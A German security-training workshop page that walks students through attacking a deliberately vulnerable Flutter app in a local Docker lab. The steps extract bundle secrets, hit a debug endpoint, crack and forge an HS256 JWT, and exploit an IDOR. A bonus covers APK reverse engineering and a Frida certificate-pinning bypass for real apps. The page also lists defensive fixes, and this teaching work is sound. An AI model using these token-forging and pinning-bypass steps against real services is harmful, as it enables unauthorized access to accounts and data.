Zum Hauptinhalt springen

Cloud, Mobile und IoT — Praktischer Workshop

Sie richten das Docker-Lab M11 ein und wiederholen die Kette der Demonstration, ohne sie anzusehen. Das ist eine Selbstständigkeitsübung: Sie suchen, Sie zweifeln, Sie dokumentieren.

Was Sie können werden​

  • Eine Flutter-App (Web oder Mobile) über ihre 2026 häufigste Angriffsfläche angreifen: Client-Bundle + schwach konfiguriertes API-Backend.
  • Einen kurzen Weg (/api/debug/env) von einem langen Weg (JWT-Knacken + Fälschung + IDOR) unterscheiden und wissen, wie man beide präsentiert.
  • Einen Bericht mit fünf Abschnitten und fünf konkreten Korrekturen verfassen.

Ablauf des Workshops​

  1. Lab starten
  2. Schritt 1 — visuelle Recon
  3. Schritt 2 — statische Analyse des Bundles
  4. Schritt 3 — kurzer Weg: /api/debug/env
  5. Schritt 4 — clientseitiger Bypass
  6. Schritt 5 — JWT abfangen und dekodieren
  7. Schritt 6 — HS256 mit hashcat knacken
  8. Schritt 7 — Admin-Token fälschen
  9. Schritt 8 — IDOR auf /api/users/:id
  10. Schritt 9 — Admin-Zugriff, Flag lesen
  11. Bericht
  12. Checkliste
  13. Bonus — dieselbe Kette auf einer echten .apk-Flutter-App
  14. Aufräumen

Was Sie brauchen​

  • Docker Desktop 4.x gestartet.
  • Das Repository inskillsec-docusaurus lokal geklont.
  • Ein aktueller Browser mit DevTools.
  • Etwa 3 GB freien RAM und 4 GB freien Speicherplatz.

Lab starten​

cd inskillsec-docusaurus/labs/docker/module-11-mobile-flutter
docker compose up -d

Öffnen Sie http://localhost:8080 (die Flutter-Web-App) in Ihrem Browser und prüfen Sie, dass der Login erscheint. Prüfen Sie auch den Gesundheitsstatus der API:

curl -s http://localhost:3000/api/health

Öffnen Sie schließlich eine Shell auf der Kali-Station:

docker compose exec attaquant bash

Schritt 1 — visuelle Recon​

Öffnen Sie im Browser DevTools auf dem Tab Network. Versuchen Sie einen Login (beliebige E-Mail und beliebiges Passwort) und notieren Sie die abgehende Anfrage. Sie müssen identifizieren:

  • Die genaue URL des Authentifizierungs-Endpunkts.
  • Das Format des Bodys (JSON, Felder email / password).
  • Den Rückgabecode bei Fehlschlag.

Notieren Sie alles in Ihrem Bericht.

Schritt 2 — statische Analyse des Bundles​

Von der Kali-Station aus:

curl -s http://app/main.dart.js > /tmp/main.dart.js
grep -E "API_BASE_URL|PREMIUM_API_KEY|DEBUG_ENDPOINT|api/admin" /tmp/main.dart.js

Drei Strings müssen erscheinen. Notieren Sie ihren Wert. Konzentrieren Sie sich auf DEBUG_ENDPOINT: Das ist ein API-Pfad, den der Client-Code nie sichtbar aufruft, dessen Existenz aber durch die Konstante verraten wird.

Schritt 3 — kurzer Weg: /api/debug/env​

Testen Sie den Pfad, den Sie gerade entdeckt haben:

curl -s http://api:3000/api/debug/env

Wenn Sie ein JSON erhalten, das ein Feld namens M11_FLAG enthält, haben Sie bereits das Flag. Notieren Sie es, aber hören Sie hier nicht auf. Ziel des Workshops ist es, auch die lange Kette auszuführen.

Schritt 4 — clientseitiger Bypass​

Zurück im Browser. Ohne angemeldet zu sein, öffnen Sie die DevTools-Konsole und geben Sie ein:

localStorage.setItem('auth_token', 'x');
window.location.hash = '#/dashboard';

Beobachten Sie: Die Dashboard-Seite erscheint für den Bruchteil einer Sekunde. Sie wechselt dann zu „Session expired".

Dokumentieren Sie dieses Verhalten: Die clientseitige Schutzmaßnahme ließ sich täuschen, aber die serverseitige Kontrolle (GET /api/me) hat standgehalten. Das ist genau das Anti-Pattern, das illustriert werden soll.

Schritt 5 — JWT abfangen und dekodieren​

Registrieren Sie ein normales Konto über die Angreifer-Shell:

curl -s -X POST http://api:3000/api/auth/register \
-H 'Content-Type: application/json' \
-d '{"email":"eve@lab.local","password":"anyPass1!","fullName":"Eve"}' \
| jq

Holen Sie das Feld token. Dekodieren Sie seine drei Teile:

TOKEN="<votre token>"
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null; echo
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null; echo

Der Header muss HS256 ausweisen. Das Payload muss Ihre sub (Ihre ID, vermutlich 4) und role: user enthalten. Notieren Sie alles in Ihrem Bericht.

Schritt 6 — HS256 mit hashcat knacken​

Schreiben Sie das vollständige Token in eine Datei:

echo "$TOKEN" > /tmp/token.jwt

Starten Sie hashcat. Der Modus 16500 entspricht dem JWT:

hashcat -m 16500 /tmp/token.jwt /usr/share/wordlists/rockyou.txt

Wenn rockyou.txt auf Ihrer Kali nicht entpackt ist, öffnen Sie sie zuerst mit gunzip /usr/share/wordlists/rockyou.txt.gz. Das erwartete Wort ist kurz, hashcat findet es in weniger als einer Minute.

Alternative ohne hashcat, lehrreicher, mit einer selbstgebauten kleinen Wortliste:

for cand in password secret s3cr3t s3cr3t2025 admin123; do
H=$(echo "$TOKEN" | cut -d. -f1)
P=$(echo "$TOKEN" | cut -d. -f2)
S=$(echo "$TOKEN" | cut -d. -f3)
E=$(echo -n "$H.$P" | \
openssl dgst -sha256 -mac HMAC -macopt "key:$cand" -binary | \
base64 | tr '+/' '-_' | tr -d '=')
[ "$E" = "$S" ] && echo "SECRET = $cand" && break
done

Schritt 7 — Admin-Token fälschen​

Fälschen Sie mit dem geknackten Secret ein Token, das behauptet, admin zu sein (sub: 1), und das nie abläuft:

SECRET="s3cr3t2025"
H='{"alg":"HS256","typ":"JWT"}'
P='{"sub":1,"email":"admin@corp.local","role":"admin","iat":1700000000,"exp":9999999999}'
H_B64=$(echo -n "$H" | base64 -w0 | tr '+/' '-_' | tr -d '=')
P_B64=$(echo -n "$P" | base64 -w0 | tr '+/' '-_' | tr -d '=')
SIG=$(echo -n "$H_B64.$P_B64" | \
openssl dgst -sha256 -mac HMAC -macopt "key:$SECRET" -binary | \
base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="$H_B64.$P_B64.$SIG"
echo "$FORGED"

Schritt 8 — IDOR auf /api/users/:id​

Zeigen Sie ohne das gefälschte Token, dass ein einfacher Nutzer bereits die Daten des Admins lesen kann:

curl -s http://api:3000/api/users/1 -H "Authorization: Bearer $TOKEN" | jq

Sie müssen ein JSON mit der E-Mail und dem Passwort (im Klartext) des Admin-Kontos sehen. Beachten Sie, dass das verwendete Token das von eve ist, nicht das, das Sie gefälscht haben.

Schritt 9 — Admin-Zugriff, Flag lesen​

Zum Schluss der ausschließlich für Admins reservierte Endpunkt mit Ihrem gefälschten Token:

curl -s http://api:3000/api/admin/config \
-H "Authorization: Bearer $FORGED" | jq

Sie müssen ein JSON erhalten, dessen Feld flag den Wert FLAG-M11-FLUTTER-MOBILE-2026 enthält. Speichern Sie dieses vollständige JSON in Ihrem Bericht, es dient als Beweis.

Bericht​

Schreiben Sie rapport/mobile-flutter-m11.md im gemounteten Volume (/home/pentester/labs/rapport/) mit fünf Abschnitten:

  1. Kurzfassung — zwei Sätze: „Ausgehend von einem öffentlichen Zugriff auf die App habe ich Lesezugriff auf einen Admin-Endpunkt und ein Prod-Flag erlangt." Erwähnen Sie beide Wege.
  2. Kurze Angriffskette — der einzelne Befehl /api/debug/env und warum das bereits kritisch ist.
  3. Lange Angriffskette — die neun Schritte oben, jeweils mit Befehl und Ausgabe.
  4. Identifizierte Schwachstellen — fünf Punkte: Secrets im Bundle, schwaches JWT-HS256-Secret, IDOR, Debug-Endpunkt in Prod, serverseitig im Klartext gespeichertes Passwort.
  5. Korrekturen — für jede Schwachstelle die erwartete Maßnahme:
    • Secrets — niemals im Client. Ein echtes Backend für Premium-Aufrufe, ein serverseitiger Schlüssel, Kontingente pro Nutzer.
    • JWT — auf RS256 mit Schlüsselpaar wechseln, der private Schlüssel bleibt serverseitig. Oder HS256 mit einem Secret aus 32 zufälligen Bytes, gespeichert in einem Vault (AWS KMS, Doppler, Vault).
    • IDOR — jeder /:id-Endpunkt muss resource.owner === req.user.sub oder eine explizite ACL prüfen.
    • Debug — vollständig entfernen. Kein „Debug"-Endpunkt darf in Prod gelangen. Falls nötig, eine Middleware einrichten, die 404 antwortet, außer für eine autorisierte interne IP.
    • Passwörter — bcrypt (Kostenfaktor 12+) oder argon2id. Nie Klartextspeicherung.

Checkliste​

  • docker compose up -d ist ohne Fehler gestartet, api ist healthy.
  • Sie haben API_BASE_URL, PREMIUM_API_KEY und DEBUG_ENDPOINT in main.dart.js gefunden.
  • curl /api/debug/env hat das Flag direkt geliefert.
  • Sie haben den clientseitigen Bypass in DevTools nachgewiesen (das Dashboard erscheint kurz).
  • Sie haben über /api/auth/register ein JWT erhalten und Header und Payload dekodiert.
  • Hashcat (oder Ihre openssl-Schleife) hat s3cr3t2025 gefunden.
  • Sie haben ein JWT mit role=admin gefälscht.
  • /api/users/1 hat das Admin-Passwort im Klartext preisgegeben.
  • /api/admin/config mit dem gefälschten JWT hat das Flag geliefert.
  • Ihr Bericht enthält die fünf erwarteten Abschnitte.

Bonus — dieselbe Kette auf einer echten .apk-Flutter-App​

Wenn Sie bis zum echten Mobile-Gerät vorstoßen wollen, hier der Ablauf außerhalb des Docker-Labs:

  1. flutter build apk --release erzeugt eine app-release.apk von etwa 15–25 MB. Der kompilierte Dart-Code lebt in lib/arm64-v8a/libapp.so.
  2. Öffnen Sie die APK mit apktool d app-release.apk, dann strings lib/arm64-v8a/libapp.so | grep -iE "api_key|secret|https". Sie finden dieselben Konstanten wie hier — das ist genau derselbe Austrittspunkt wie main.dart.js.
  3. Für den strukturierten Dump: reFlutter build app-release.apk, dann Dump mit blutter oder frida-dexdump, um weiter zu gehen.
  4. Für den Certificate-Pinning-Bypass: frida -U -f com.your.app mit einem Skript, das boringssl::ssl_verify_peer_cert hookt. Die öffentlichen Skripte funktionieren unverändert bei den meisten aktuellen Flutter-Apps.

Legen Sie das Ergebnis in einem separaten Bericht ab, falls Sie diesen Bonus wählen.

Aufräumen​

cd inskillsec-docusaurus/labs/docker/module-11-mobile-flutter
docker compose down -v

Das -v entfernt die Volumes; beim nächsten Mal starten Sie mit einem frischen Lab.